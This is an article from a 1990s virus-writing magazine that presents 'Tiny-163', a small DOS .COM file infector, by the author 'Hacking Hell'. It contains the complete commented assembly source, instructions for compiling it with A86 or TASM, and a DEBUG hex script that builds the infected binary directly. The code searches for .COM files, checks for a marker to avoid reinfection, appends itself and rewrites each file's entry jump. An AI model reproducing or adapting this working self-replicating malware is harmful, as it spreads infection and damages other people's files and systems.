------------------------------Immortal Virus Magazine--------------------------
-----------------------------------Issue 95.1----------------------------------
------------------------------------Tiny-163-----------------------------------

This is a very old virus, it also is very small and very easy to detect,
 it is .COM infector, non-encrypting, non-tsr, non-payloaded, in fact,
 it does nothing but infecting, I think it's somebodies first virus or
 something.

 Compile with A86 or TASM/TLINK!

-------------------------------------<CUT>-------------------------------------
.Model Tiny
.Code

data_2e         equ     1ABh                    ;start of virus

seg_a           segment byte public             ;
                assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code


                org     100h                    ;orgin of all COM files
s               proc    far

start:
                jmp     loc_1                   ;jump to virus


;this is a replacement for an infected file

                db      0CDh, 20h, 7, 8, 9      ;int 20h
                                                ;pop es

loc_1:
                call    sub_1                   ;



s               endp


sub_1           proc    near                    ;
                pop     si                      ;locate all virus code via
                sub     si,10Bh                 ;si, cause all offsets will
                mov     bp,data_1[si]           ;change when virus infects
                add     bp,103h                 ;a COM file
                lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
                xor     cx,cx                   ;clear cx - find only normal
                                                ;attributes
                mov     ah,4Eh                  ;find first file
loc_2:
                int     21h                     ;

                jc      loc_6                   ;no files found? then quit
                mov     dx,9Eh                  ;offset of filename found
                mov     ax,3D02h                ;open file for read/write access
                int     21h                     ;

                mov     bx,ax                   ;save handle into bx
                mov     ah,3Fh                  ;read from file
                lea     dx,[si+1A8h]            ;offset of save buffer
                mov     di,dx                   ;
                mov     cx,3                    ;read three bytes
                int     21h                     ;
                
                cmp     byte ptr [di],0E9h      ;compare buffer to virus id
                                                ;string
                je      loc_4                   ;
loc_3:
                mov     ah,4Fh                  ;find the next file
                jmp     short loc_2             ;and test it
loc_4:
                mov     dx,[di+1]               ;lsh of offset
                mov     data_1[si],dx           ;
                xor     cx,cx                   ;msh of offset
                mov     ax,4200h                ;set the file pointer
                int     21h                     ;

                mov     dx,di                   ;buffer to save read
                mov     cx,2                    ;read two bytes
                mov     ah,3Fh                  ;read from file
                int     21h                     ;

                cmp     word ptr [di],807h      ;compare buffer to virus id
                je      loc_3                   ;same? then find another file

;heres where we infect a file

                xor     dx,dx                   ;set file pointer
                xor     cx,cx                   ;ditto
                mov     ax,4202h                ;set file pointer
                int     21h                     ;

                cmp     dx,0                    ;returns msh
                jne     loc_3                   ;not the same? find another file
                cmp     ah,0FEh                 ;lsh = 254???
                jae     loc_3                   ;if more or equal find another file

                mov     ds:data_2e[si],ax       ;point to data
                mov     ah,40h                  ;write to file
                lea     dx,[si+105h]            ;segment:offset of write buffer
                mov     cx,0A3h                 ;write 163 bytes
                int     21h                     ;

                jc      loc_5                   ;error? then quit
                mov     ax,4200h                ;set file pointer
                xor     cx,cx                   ;to the top of the file
                mov     dx,1                    ;
                int     21h                     ;

                mov     ah,40h                  ;write to file
                lea     dx,[si+1ABh]            ;offset of jump to virus code
                mov     cx,2                    ;two bytes
                int     21h                     ;

;now close the file

loc_5:
                mov     ah,3Eh                  ;close file
                int     21h                     ;

loc_6:
                jmp     bp                      ;jump to original file

data_1          dw      0                       ;
                db      '*.COM',0               ;wild card search string


sub_1           endp
seg_a           ends
                end     start
-------------------------------------<CUT>-------------------------------------
N TINY-163.COM
E 0100 EB 06 90 CD 20 07 08 09 E8 00 00 5E 81 EE 0B 01 
E 0110 8B AC A0 01 81 C5 03 01 8D 94 A2 01 33 C9 B4 4E 
E 0120 CD 21 72 7A BA 9E 00 B8 02 3D CD 21 8B D8 B4 3F 
E 0130 8D 94 A8 01 8B FA B9 03 00 CD 21 80 3D E9 74 04 
E 0140 B4 4F EB DC 8B 55 01 89 94 A0 01 33 C9 B8 00 42 
E 0150 CD 21 8B D7 B9 02 00 B4 3F CD 21 81 3D 07 08 74 
E 0160 DF 33 D2 33 C9 B8 02 42 CD 21 83 FA 00 75 D1 80 
E 0170 FC FE 73 CC 89 84 AB 01 B4 40 8D 94 05 01 B9 A3 
E 0180 00 CD 21 72 15 B8 00 42 33 C9 BA 01 00 CD 21 B4 
E 0190 40 8D 94 AB 01 B9 02 00 CD 21 B4 3E CD 21 FF E5 
E 01A0 00 00 2A 2E 43 4F 4D 00 
RCX
00A8
W
Q
-------------------------------------<CUT>-------------------------------------
By: [Hacking Hell]!